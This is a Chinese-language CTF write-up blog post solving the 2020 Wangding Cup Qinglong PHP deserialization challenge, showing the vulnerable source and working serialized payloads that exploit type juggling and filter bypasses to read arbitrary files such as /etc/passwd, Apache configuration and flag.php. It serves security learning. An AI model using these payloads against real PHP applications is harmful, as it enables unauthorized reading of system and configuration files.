c1ay's blog

2020网鼎杯青龙组-php反序列化

字数统计: 1.6k阅读时长: 7 min
2020/05/10 Share

2020网鼎杯青龙组-php反序列化

赛后拿到了题目的源码,搭到本地做了一遍,今天不比赛,先试试题目难度~

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
echo $this->filename.$this->content;
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

大致过了遍代码,看到这里存在php反序列化,有两条利用链,分别对应文件的读和写操作,具体分析如下:

首先传入序列化字符串str,反序列化时触发FileHandler类的__destruct方法,这里会对$this->op的值进行判断,当$this->op==="2",会将$this->op重新赋值为"1",并将$this->content赋为空字符串;之后进入process方法,当$this->op=="1"时,进入write方法,但是由于这里$this->content的值被赋为了空字符串,所以不能向文件写入任何可控内容,导致“写”这一条利用链不能利用,所以要想办法绕过__destruct当中的判断,进行读文件的利用。

这里可以将$this->op的值设置为整型数字2进行绕过,因为在__destruct当中使用===进行了强比较,所以2==="2"结果为False,而在process方法中,使用了==进行比较,由于php弱类型,2=="2"结果为True,进入read函数

pop链构造如下

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {
protected $op=2;
protected $filename="/etc/passwd";
}
$a=new FileHandler();
echo serialize($a);
?>

得到payload:O:11:"FileHandler":2:{s:5:"*op";i:2;s:11:"*filename";s:11:"/etc/passwd";}

直接将上述字符传入str并不能读取成功,这是因为序列化字符串当中protected属性的影响,三种属性对应的序列化字符串格式如下

1
2
3
private:数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:"属性值";
protected:数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:"属性值";
public:数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值";

所以这里的payload实际上为:O:11:"FileHandler":2:{s:5:"00*00op";i:2;s:11:"00*00filename";s:11:"/etc/passwd";}

因为存在protected属性,导致序列化字符串当中存在字符00,而在对字符串进行反序列化之前,这里的is_valid函数对字符串当中的字符进行了检查,要求其字符必须为可显示字符(ascii码值32-125),所以这里要将payload改为:O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:11:"/etc/passwd";},将s改为S

\00三个字符均符合!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125),所以这里读取成功
mark

然后就可以通过任意文件读取获得flag了

5月11日补充:

题目环境buuoj上已经有了,今天看了颖奇L’Amore师傅的博客,对于这道题在这里需要补充几点

文章链接:第二届“网鼎杯”青龙组WEB部分题目Writeup

文章里提到php7.1+版本对属性类型不敏感,所以在构造poc时直接将对象属性类型设为public也能绕过is_valid的检查,导致非预期解

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {
public $op=2;
public $filename="/etc/passwd";
}
$a=new FileHandler();
echo serialize($a);
?>

payload:O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:11:"/etc/passwd";}

mark

另外需要注意的是,这里如果使用相对路径的话有可能会失败,原因在文章里也说了,在执行完序列化字符串后,如果没有出现异常就会穿越到根目录,导致读取不到flag.php,在本地环境var_dump一下scandir(".")$res可以看到反序列化后跳到了根目录,获取/flag.phpfalse(本地php版本:7.0.33)

payload:O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";}

mark

当使用相对路径读取失败时,可以尝试使用以下几种解法:

方法一:使用绝对路径,需要获取网站根目录,可以从apache配置文件当中获取跟目录,默认配置下,可以从/etc/apache2/sites-available/000-default.conf当中获取网站根目录

payload:O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:45:"/etc/apache2/sites-available/000-default.conf";}

mark

可以看到buuoj上这道题的环境没有修改根目录,所以直接读取/var/www/html/flag.php即可

payload:O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";}

mark

而在比赛环境当中是修改了网站的根目录的,而且apache网站配置文件也不是上面说的那个,需要通过/proc/self/cmdline才能获取到网站的根目录

方法二:在反序列化字符串时触发异常,这样就不会跳转到根目录了

当序列化字符串当中属性个数大于实际个数时,就会触发异常,所以把payload修改为O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";}即可
mark
mark

另外,有一个奇怪的问题,经过测试发现,buuoj的题目环境通过相对路径就可以读取到flag.php,自己的docker环境也是这样(php版本:7.0.33),有点奇怪,不清楚是什么因素决定的,,,,

CATALOG
  1. 1. 2020网鼎杯青龙组-php反序列化